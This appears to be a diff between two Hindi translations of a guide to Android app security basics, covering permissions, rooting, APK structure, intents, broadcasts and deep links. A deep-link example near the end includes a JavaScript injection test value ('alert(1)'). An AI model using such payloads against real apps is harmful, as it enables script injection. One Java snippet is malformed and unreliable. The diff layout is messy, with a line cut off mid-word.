जब एक ऐप कार्यक्षमता को उजागर करता है तो वह **केवल उन ऐप्स तक पहुंच को सीमित कर सकता है जिनके पास निर्दिष्ट अनुमति है**।\
|
जब एक ऐप कार्यक्षमता को उजागर करता है, तो यह **केवल उन ऐप्स तक पहुंच को सीमित कर सकता है जिनके पास निर्दिष्ट अनुमति है**।\
|
||||||
एक अनुमति तत्व में तीन विशेषताएँ होती हैं:
|
एक अनुमति तत्व में तीन विशेषताएँ होती हैं:
|
||||||
|
|
||||||
* अनुमति का **नाम**
|
* अनुमति का **नाम**
|
||||||
* अनुमति समूह विशेषता, जो संबंधित अनुमतियों को समूहित करने की अनुमति देती है।
|
* **permission-group** attribute, जो संबंधित अनुमतियों को समूहित करने की अनुमति देता है।
|
||||||
* **संरक्षण स्तर** जो यह दर्शाता है कि अनुमतियाँ कैसे प्रदान की जाती हैं। चार प्रकार होते हैं:
|
* **protection-level** जो इंगित करता है कि अनुमतियाँ कैसे दी जाती हैं। चार प्रकार हैं:
|
||||||
* **सामान्य**: जब ऐप के लिए **कोई ज्ञात खतरे नहीं** होते हैं। उपयोगकर्ता को **इसे स्वीकृति देने की आवश्यकता नहीं होती** है।
|
* **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे नहीं होते**। उपयोगकर्ता को **इसे मंजूर करने की आवश्यकता नहीं है**।
|
||||||
* **खतरनाक**: यह अनुमति अनुरोध करने वाले ऐप्लिकेशन को कुछ **उच्च एक्सेस** प्रदान करती है। **उपयोगकर्ताओं से इसकी स्वीकृति की जाती है**।
|
* **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से उन्हें मंजूर करने के लिए कहा जाता है**।
|
||||||
* **हस्ताक्षर**: केवल **उन ऐप्स को ही अनुमति दी जा सकती है जिन्होंने** उन ऐप्लिकेशन के साथ समान प्रमाणपत्र द्वारा हस्ताक्षरित किया है जो एक्सपोर्ट कर रहा है। यह सबसे मजबूत संरक्षण प्रकार है।
|
* **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात कर रहा है। यह सुरक्षा का सबसे मजबूत प्रकार है।
|
||||||
* **हस्ताक्षर या सिस्टम**: केवल **उन ऐप्स को ही अनुमति दी जा सकती है जिन्होंने** उन ऐप्लिकेशन के साथ समान प्रमाणपत्र द्वारा हस्ताक्षरित किया है जो एक्सपोर्ट कर रहा है या **सिस्टम स्तर की पहुंच के साथ चल रहे ऐप्स** को अनुमति दी जा सकती हैं।
|
* **SignatureOrSystem**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** या **सिस्टम-स्तरीय पहुंच के साथ चलने वाले ऐप्स** को अनुमतियाँ दी जा सकती हैं।
|
||||||
|
|
||||||
## पूर्व-स्थापित एप्लिकेशनें
|
## Pre-Installed Applications
|
||||||
|
|
||||||
ये एप्लिकेशनें सामान्यत: **`/system/app`** या **`/system/priv-app`** निर्देशिकाओं में पाई जाती हैं और कुछ बार **अनुकूलित** होती हैं (आप `classes.dex` फ़ाइल भी नहीं मिल सकती)। इन एप्लिकेशनों की जाँच करना लायक है क्योंकि कभी-कभी ये **बहुत सारी अनुमतियों के साथ चल रही** होती हैं (जैसे रूट के रूप में)।
|
ये ऐप्स आमतौर पर **`/system/app`** या **`/system/priv-app`** निर्देशिकाओं में पाए जाते हैं और इनमें से कुछ **अनुकूलित** होते हैं (आपको `classes.dex` फ़ाइल भी नहीं मिल सकती है)। ये अनुप्रयोग जांचने के लायक हैं क्योंकि कभी-कभी वे **बहुत सारी अनुमतियों के साथ चल रहे होते हैं** (जैसे रूट)।
|
||||||
|
|
||||||
* जो **AOSP** (Android OpenSource Project) **ROM** के साथ शिप होती हैं
|
* जो **AOSP** (Android OpenSource Project) **ROM** के साथ शिप किए गए हैं
|
||||||
* उपकरण **निर्माता** द्वारा जोड़ी गई हैं
|
* डिवाइस **निर्माता** द्वारा जोड़े गए
|
||||||
* सेल फ़ोन प्रदाता द्वारा जोड़ी गई हैं (अगर उनसे खरीदी गई है)
|
* सेल **फोन प्रदाता** द्वारा जोड़े गए (यदि उन्हें उनसे खरीदा गया हो)
|
||||||
|
|
||||||
## रूटिंग
|
## Rooting
|
||||||
|
|
||||||
एक फिजिकल एंड्रॉइड उपकरण में रूट एक्सेस प्राप्त करने के लिए आम तौर पर आपको 1 या 2 **वंशानुक्रमों का शोधन** करने की आवश्यकता होती है जो आम त
|
एक भौतिक एंड्रॉइड डिवाइस में रूट एक्सेस प्राप्त करने के लिए आपको आमतौर पर **1 या 2 कमजोरियों का शोषण** करने की आवश्यकता होती है जो आमतौर पर **डिवाइस** और **संस्करण** के लिए **विशिष्ट** होती हैं।\
|
||||||
### **डलविक और स्माली**
|
एक बार जब शोषण काम कर जाता है, तो आमतौर पर लिनक्स `su` बाइनरी को उपयोगकर्ता के PATH env वेरिएबल में निर्दिष्ट स्थान पर `/system/xbin` की तरह कॉपी किया जाता है।
|
||||||
|
|
||||||
एंड्रॉइड विकास में, **जावा या कोटलिन** का उपयोग ऐप्स बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग न करके, एंड्रॉइड इस कोड को **डलविक एक्जीक्यूटेबल (DEX) बाइटकोड** में कंपाइल करता है। पहले, डलविक वर्चुअल मशीन इस बाइटकोड को हैंडल करती थी, लेकिन अब, नए एंड्रॉइड संस्करणों में एंड्रॉइड रनटाइम (ART) इसे संभालता है।
|
एक बार जब su बाइनरी कॉन्फ़िगर हो जाती है, तो `su` बाइनरी के साथ इंटरफेस करने के लिए एक और एंड्रॉइड ऐप का उपयोग किया जाता है और **रूट एक्सेस के लिए अनुरोधों को संसाधित** किया जाता है जैसे **Superuser** और **SuperSU** (जो Google Play स्टोर में उपलब्ध हैं)।
|
||||||
|
|
||||||
पुनर्अभिनिर्माण के लिए, **स्माली** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, स्रोत कोड को बाइटकोड निर्देशों में अनुवाद करके एसेम्बली भाषा की तरह काम करता है। स्माली और बैकस्माली इस संदर्भ में एसेम्बली और डिसएसेम्बली उपकरणों को संदर्भित करते हैं।
|
{% hint style="danger" %}
|
||||||
|
ध्यान दें कि रूटिंग प्रक्रिया बहुत खतरनाक है और डिवाइस को गंभीर रूप से नुकसान पहुँचा सकती है।
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## इंटेंट्स
|
### ROMs
|
||||||
|
|
||||||
इंटेंट्स एंड्रॉइड ऐप्स के घटकों के बीच या अन्य ऐप्स के साथ संवाद करने का मुख्य साधन हैं। ये संदेश वस्तुएं डेटा भी ले सकती हैं, जैसे कि GET/POST अनुरोध HTTP संचार में उपयोग किया जाता है।
|
यह **कस्टम फर्मवेयर स्थापित करके OS को बदलना** संभव है। ऐसा करने से एक पुराने डिवाइस की उपयोगिता बढ़ाना, सॉफ़्टवेयर प्रतिबंधों को बायपास करना या नवीनतम एंड्रॉइड कोड तक पहुंच प्राप्त करना संभव है।\
|
||||||
|
**OmniROM** और **LineageOS** उपयोग करने के लिए सबसे लोकप्रिय फर्मवेयर में से दो हैं।
|
||||||
|
|
||||||
इसलिए एक इंटेंट बुनियादी रूप से **एक संघटनों के बीच पारित संदेश** है। इंटेंट्स **निर्दिष्ट घटकों या ऐप्स के लिए निर्दिष्ट किए जा सकते हैं**, **या निर्दिष्ट प्राप्तकर्ता के बिना भेजे जा सकते हैं**।\
|
ध्यान दें कि **कस्टम फर्मवेयर स्थापित करने के लिए डिवाइस को रूट करना हमेशा आवश्यक नहीं है**। **कुछ निर्माता** अपने बूटलोडर्स को अच्छी तरह से प्रलेखित और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं।
|
||||||
सरल रूप से इंटेंट का उपयोग किया जा सकता है:
|
|
||||||
|
|
||||||
* एक एक्टिविटी शुरू करने के लिए, सामान्यत: ऐप के लिए एक उपयोगकर्ता इंटरफेस खोलना
|
### Implications
|
||||||
* परिवर्तनों की सूचना देने के लिए ब्रॉडकास्ट
|
|
||||||
* पीछे के सेवा को शुरू, रोकने और संवाद करने के लिए
|
एक बार जब एक डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण एप्लिकेशन इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर सकता है और फोन को नुकसान पहुँचा सकता है।
|
||||||
|
|
||||||
|
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
|
- एंड्रॉइड अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलकर, सामग्री को निकाला और देखा जा सकता है)।
|
||||||
|
- APK सामग्री (पूर्ण नहीं)
|
||||||
|
- **AndroidManifest.xml**
|
||||||
|
- resources.arsc/strings.xml
|
||||||
|
- resources.arsc: पूर्व-संकलित संसाधनों को शामिल करता है, जैसे बाइनरी XML।
|
||||||
|
- res/xml/files\_paths.xml
|
||||||
|
- META-INF/
|
||||||
|
- यहीं पर प्रमाणपत्र स्थित है!
|
||||||
|
- **classes.dex**
|
||||||
|
- इसमें डेलविक बाइटकोड होता है, जो संकलित जावा (या कोटलिन) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है।
|
||||||
|
- lib/
|
||||||
|
- इसमें मूलभूत पुस्तकालय होते हैं, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं।
|
||||||
|
- `armeabi`: ARM आधारित प्रोसेसर के लिए कोड
|
||||||
|
- `armeabi-v7a`: ARMv7 और उच्चतर आधारित प्रोसेसर के लिए कोड
|
||||||
|
- `x86`: X86 प्रोसेसर के लिए कोड
|
||||||
|
- `mips`: केवल MIPS प्रोसेसर के लिए कोड
|
||||||
|
- assets/
|
||||||
|
- ऐप द्वारा आवश्यक विविध फ़ाइलों को संग्रहीत करता है, जिसमें अतिरिक्त मूलभूत पुस्तकालय या DEX फ़ाइलें शामिल हो सकती हैं, जिन्हें कभी-कभी मैलवेयर लेखक अतिरिक्त कोड को छिपाने के लिए उपयोग करते हैं।
|
||||||
|
- res/
|
||||||
|
- संसाधनों को शामिल करता है जो resources.arsc में संकलित नहीं होते हैं।
|
||||||
|
|
||||||
|
### **Dalvik & Smali**
|
||||||
|
|
||||||
|
एंड्रॉइड विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, एंड्रॉइड इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डेलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए एंड्रॉइड संस्करणों में, एंड्रॉइड रनटाइम (ART) इसका प्रबंधन करता है।
|
||||||
|
|
||||||
|
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं।
|
||||||
|
|
||||||
|
## Intents
|
||||||
|
|
||||||
|
Intents एंड्रॉइड ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने के प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||||
|
|
||||||
|
तो एक Intent मूल रूप से **घटकों के बीच पारित किया जाने वाला एक संदेश है**। Intents **विशिष्ट घटकों या ऐप्स की ओर निर्देशित** किए जा सकते हैं, **या बिना किसी विशिष्ट प्राप्तकर्ता के भेजे जा सकते हैं**।\
|
||||||
|
सरलता के लिए Intent का उपयोग किया जा सकता है:
|
||||||
|
|
||||||
|
* एक गतिविधि शुरू करने के लिए, आमतौर पर एक ऐप के लिए उपयोगकर्ता इंटरफ़ेस खोलना
|
||||||
|
* सिस्टम और ऐप्स को परिवर्तनों की जानकारी देने के लिए प्रसारण के रूप में
|
||||||
|
* एक पृष्ठभूमि सेवा के साथ प्रारंभ, रोकने और संवाद करने के लिए
|
||||||
* ContentProviders के माध्यम से डेटा तक पहुँचने के लिए
|
* ContentProviders के माध्यम से डेटा तक पहुँचने के लिए
|
||||||
* घटनाओं को संभालने के लिए कॉलबैक के रूप में
|
* घटनाओं को संभालने के लिए कॉलबैक के रूप में
|
||||||
|
|
||||||
यदि सुरक्षित नहीं हैं, **इंटेंट्स कई प्रकार के हमले करने के लिए उपयोग किए जा सकते हैं**।
|
यदि कमजोर है, तो **Intents का उपयोग विभिन्न प्रकार के हमलों को करने के लिए किया जा सकता है**।
|
||||||
|
|
||||||
### इंटेंट-फ़िल्टर
|
### Intent-Filter
|
||||||
|
|
||||||
**इंटेंट फ़िल्टर्स** परिभाषित करते हैं **कि एक एक्टिविटी, सेवा, या ब्रॉडकास्ट रिसीवर विभिन्न प्रकार के इंटेंट्स के साथ कैसे संवाद कर सकते हैं**। मुख्य रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे क्या क्रियाएँ कर सकते हैं या वे किस प्रकार के ब्रॉडकास्ट को प्रसंस्कृत कर सकते हैं। इन फ़िल्टर्स को घोषित करने का मुख्य स्थान है **AndroidManifest.xml फ़ाइल** के भीतर, हालांकि ब्रॉडकास्ट रिसीवर्स के लिए, उन्हें कोडिंग करना भी एक विकल्प है।
|
**Intent Filters** परिभाषित करते हैं **कैसे एक गतिविधि, सेवा, या ब्रॉडकास्ट रिसीवर विभिन्न प्रकार के Intents के साथ इंटरैक्ट कर सकता है**। मूल रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे कौन से कार्य कर सकते हैं या वे किस प्रकार के प्रसारण को संसाधित कर सकते हैं। इन फ़िल्टरों की घोषणा करने का प्राथमिक स्थान **AndroidManifest.xml फ़ाइल** के भीतर है, हालांकि ब्रॉडकास्ट रिसीवर्स के लिए, उन्हें कोडिंग करना भी एक विकल्प है।
|
||||||
|
|
||||||
इंटेंट फ़िल्टर्स श्रेणियों, क्रियाएँ, और डेटा फ़िल्टर्स से बने होते हैं, और अतिरिक्त मेटाडेटा शामिल करने की संभावना होती है। यह सेटअप घटकों को विशिष्ट इंटेंट्स का संभालने की अनुमति देता है जो घोषित मानदंडों से मेल खाते हैं।
|
Intent Filters श्रेणियों, क्रियाओं और डेटा फ़िल्टरों से बने होते हैं, जिसमें अतिरिक्त मेटाडेटा शामिल करने की संभावना होती है। यह सेटअप घटकों को उन विशिष्ट Intents को संभालने की अनुमति देता है जो घोषित मानदंडों से मेल खाते हैं।
|
||||||
|
|
||||||
एंड्रॉइड के घटकों (एक्टिविटी/सेवा/कंटेंट प्रोवाइडर/ब्रॉडकास्ट रिसीवर) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। यदि किसी घटक को मान्यता प्राप्त है और यह अन्य ऐप्स के साथ संवाद कर सकता है अगर इसे **`exported`** के साथ **`true`** मानकर या यदि इसके लिए मैनिफेस्ट में इंटेंट फ़िल्टर घोषित किया गया है। हालांकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखने का एक तरीका है, यह सुनिश्चित करना कि वे अनजाने में अन्य ऐप्स के साथ संवाद न करें। इसे उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** मानकर प्राप्त किया जा सकता है।
|
एंड्रॉइड घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** पर सेट करके प्राप्त किया जाता है।
|
||||||
|
|
||||||
इसके अतिरिक्त, डेवलपर्स को इन घटकों तक पहुँच को और अधिक सुरक्षित बनाने का विकल्प है। **`permission`** विशेषता को सेट करने से केवल उन ऐप्स को पहुँच मिल सकती है जिनके पास निर्धारित अनुमति है, जो इसे एक अतिरिक्त सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ता है।
|
इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** attribute को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जो सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ता है कि कौन इसके साथ इंटरैक्ट कर सकता है।
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
### निहित इंटेंट्स
|
### Implicit Intents
|
||||||
|
|
||||||
इंटेंट्स को कार्यात्मक रूप से एक इंटेंट निर्माता का उपयोग करके बनाया जाता है:
|
Intents को Intent कंस्ट्रक्टर का उपयोग करके प्रोग्रामेटिक रूप से बनाया जाता है:
|
||||||
```java
|
```java
|
||||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
```
|
```
|
||||||
**क्रिया** पहले घोषित intent की **ACTION\_SEND** है और **अतिरिक्त** एक mailto **Uri** है (अतिरिक्त जो intent की अतिरिक्त जानकारी की उम्मीद है)।
|
The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting).
|
||||||
|
|
||||||
यह intent मैनिफ़ेस्ट में निम्नलिखित उदाहरण के रूप में घोषित किया जाना चाहिए:
|
यह इरादा मैनिफेस्ट के अंदर निम्नलिखित उदाहरण के रूप में घोषित किया जाना चाहिए:
|
||||||
```xml
|
```xml
|
||||||
<activity android:name="ShareActivity">
|
<activity android:name="ShareActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -122,18 +165,17 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
An intent-filter needs to match the **action**, **data** and **category** to receive a message.
|
An intent-filter को संदेश प्राप्त करने के लिए **action**, **data** और **category** से मेल खाना चाहिए।
|
||||||
|
|
||||||
The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the i**ntent-filter declaration**, and t**he one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**.
|
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि कोई **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||||
|
|
||||||
### Explicit Intents
|
### Explicit Intents
|
||||||
|
|
||||||
An explicit intent specifies the class name it's targeting:
|
एक explicit intent उस वर्ग नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है:
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
**Hindi Translation:**
|
अन्य अनुप्रयोगों में पूर्व में घोषित इरादे तक पहुँचने के लिए आप उपयोग कर सकते हैं:
|
||||||
अन्य एप्लिकेशन में पहले से घोषित इंटेंट तक पहुंचने के लिए आप इस्तेमाल कर सकते हैं:
|
|
||||||
```java
|
```java
|
||||||
Intent intent = new Intent();
|
Intent intent = new Intent();
|
||||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||||
|
@ -141,32 +183,32 @@ context.startService(intent);
|
||||||
```
|
```
|
||||||
### Pending Intents
|
### Pending Intents
|
||||||
|
|
||||||
ये अन्य एप्लिकेशनों को **आपकी एप्लिकेशन की ओर से कार्रवाई लेने** की अनुमति देते हैं, आपकी एप्लिकेशन की पहचान और अनुमतियों का उपयोग करते हुए। Pending Intent बनाते समय इसे **एक इंटेंट और क्रिया को करने के लिए निर्दिष्ट किया जाना चाहिए**। यदि **निर्णायक इंटेंट स्पष्ट नहीं है** (जो इंटेंट को कॉल कर सकता है वह घोषित नहीं करता), तो **किसी दुरुपयोगी एप्लिकेशन को पीड़ित एप्लिकेशन की ओर से घोषित क्रिया करने की अनुमति हो सकती है**। इसके अतिरिक्त, **यदि कोई क्रिया निर्दिष्ट नहीं है**, तो दुरुपयोगी एप्लिकेशन को **पीड़ित की ओर से कोई भी क्रिया करने की अनुमति होगी**।
|
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो **एक दुर्भावनापूर्ण अनुप्रयोग घोषित क्रिया को** पीड़ित ऐप की ओर से कर सकता है। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुर्भावनापूर्ण ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**।
|
||||||
|
|
||||||
### Broadcast Intents
|
### Broadcast Intents
|
||||||
|
|
||||||
पिछले इंटेंट के विपरीत, जो केवल एक एप्लिकेशन द्वारा प्राप्त किए जाते हैं, ब्रॉडकास्ट इंटेंट **कई एप्लिकेशनों द्वारा प्राप्त किए जा सकते हैं**। हालांकि, API संस्करण 14 से, Intent.set Package का उपयोग करके **संदेश प्राप्त करने वाला एप्लिकेशन निर्धारित करना संभव है**।
|
पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संदेश प्राप्त करने वाले ऐप को निर्दिष्ट करना संभव है** Intent.set Package का उपयोग करके।
|
||||||
|
|
||||||
विकल्प से यह भी संभव है **ब्रॉडकास्ट भेजते समय एक अनुमति निर्धारित करना**। प्राप्तकर्ता एप्लिकेशन को उस अनुमति की आवश्यकता होगी।
|
वैकल्पिक रूप से, ब्रॉडकास्ट भेजते समय **एक अनुमति निर्दिष्ट करना भी संभव है**। रिसीवर ऐप को उस अनुमति की आवश्यकता होगी।
|
||||||
|
|
||||||
ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असमर्थित) और **क्रमित** (समर्थित)। **क्रम** प्राप्तकर्ता तत्व के भीतर विन्यासित प्राथमिकता पर आधारित है। **प्रत्येक एप्लिकेशन ब्रॉडकास्ट को प्रसंस्करण, पुनर्प्रेषण या छोड़ सकता है**।
|
ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को प्रोसेस, रिले या ड्रॉप कर सकता है।**
|
||||||
|
|
||||||
एक **ब्रॉडकास्ट भेजना** संभव है फ़ंक्शन `sendBroadcast(intent, receiverPermission)` का उपयोग करके `Context` वर्ग से।\
|
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेजना** संभव है।\
|
||||||
आप फ़ंक्शन **`sendBroadcast`** का भी उपयोग कर सकते हैं **`LocalBroadCastManager`** से, जो सुनिश्चित करता है कि **संदेश कभी भी ऐप छोड़कर नहीं जाता**। इसका उपयोग करके आपको एक प्राप्तकर्ता घटक को निर्यात करने की आवश्यकता नहीं होगी।
|
आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश कभी भी ऐप से बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी।
|
||||||
|
|
||||||
### Sticky Broadcasts
|
### Sticky Broadcasts
|
||||||
|
|
||||||
इस प्रकार के ब्रॉडकास्ट **उन्हें भेजे जाने के बाद भी लंबे समय तक उपयोग किया जा सकता है**।\
|
इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी एक्सेस किए जा सकते हैं**।\
|
||||||
ये API स्तर 21 में विचलित किए गए थे और **उनका उपयोग न करने की सिफारिश की गई है**।\
|
इनका उपयोग API स्तर 21 में बंद कर दिया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\
|
||||||
**इन्हें किसी भी एप्लिकेशन को डेटा को स्निफ़ करने की अनुमति देते हैं, लेकिन उसे संशोधित भी करने की अनुमति देते हैं**।
|
**ये किसी भी अनुप्रयोग को डेटा को स्निफ़ करने, बल्कि इसे संशोधित करने की अनुमति देते हैं।**
|
||||||
|
|
||||||
यदि आप "sticky" शब्द वाले फ़ंक्शन जैसे **`sendStickyBroadcast`** या **`sendStickyBroadcastAsUser`** पाते हैं, **उनका प्रभाव जांचें और उन्हें हटाने की कोशिश करें**।
|
यदि आप "sticky" शब्द वाले फ़ंक्शंस जैसे **`sendStickyBroadcast`** या **`sendStickyBroadcastAsUser`** पाते हैं, तो **प्रभाव की जांच करें और उन्हें हटाने का प्रयास करें**।
|
||||||
|
|
||||||
## गहरे लिंक / URL योजनाएँ
|
## Deep links / URL schemes
|
||||||
|
|
||||||
एंड्रॉइड एप्लिकेशन में, **गहरे लिंक** का उपयोग किया जाता है एक क्रिया (इंटेंट) को सीधे एक URL के माध्यम से प्रारंभ करने के लिए। इसे एक विशेष **URL योजना** की घोषणा करके किया जाता है एक गतिविधि के भीतर। जब एक एंड्रॉइड उपकरण इस योजना के साथ एक URL तक पहुंचने की कोशिश करता है, तो एप्लिकेशन के भीतर निर्धारित गतिविधि लॉन्च की जाती है।
|
Android अनुप्रयोगों में, **डीप लिंक** का उपयोग एक क्रिया (Intent) को सीधे एक URL के माध्यम से प्रारंभ करने के लिए किया जाता है। यह एक गतिविधि के भीतर एक विशिष्ट **URL स्कीम** घोषित करके किया जाता है। जब एक Android डिवाइस इस स्कीम के साथ **एक URL तक पहुँचने की कोशिश करता है**, तो अनुप्रयोग के भीतर निर्दिष्ट गतिविधि लॉन्च होती है।
|
||||||
|
|
||||||
योजना को **`AndroidManifest.xml`** फ़ाइल में घोषित किया जाना चाहिए:
|
स्कीम को **`AndroidManifest.xml`** फ़ाइल में घोषित किया जाना चाहिए:
|
||||||
```xml
|
```xml
|
||||||
[...]
|
[...]
|
||||||
<activity android:name=".MyActivity">
|
<activity android:name=".MyActivity">
|
||||||
|
@ -178,44 +220,44 @@ context.startService(intent);
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
इसके बाद के उदाहरण से योजना `exampleapp://` है (नोट करें भी **`श्रेणी BROWSABLE`**)
|
पिछले उदाहरण से योजना `exampleapp://` है (ध्यान दें कि **`category BROWSABLE`** भी है)
|
||||||
|
|
||||||
फिर, डेटा फील्ड में, आप **होस्ट** और **पथ** निर्दिष्ट कर सकते हैं:
|
फिर, डेटा फ़ील्ड में, आप **host** और **path** निर्दिष्ट कर सकते हैं:
|
||||||
```xml
|
```xml
|
||||||
<data android:scheme="examplescheme"
|
<data android:scheme="examplescheme"
|
||||||
android:host="example"
|
android:host="example"
|
||||||
/>
|
/>
|
||||||
```
|
```
|
||||||
इसे वेब से एक लिंक के रूप में एक्सेस करना संभव है:
|
वेब से इसे एक्सेस करने के लिए एक लिंक सेट करना संभव है जैसे:
|
||||||
```xml
|
```xml
|
||||||
<a href="examplescheme://example/something">click here</a>
|
<a href="examplescheme://example/something">click here</a>
|
||||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||||
```
|
```
|
||||||
ऐप में **वह कोड खोजें जो ऐप में निष्पादित होगा**, डीपलिंक द्वारा बुलाए गए गतिविधि पर जाएं और **`onNewIntent`** फ़ंक्शन को खोजें।
|
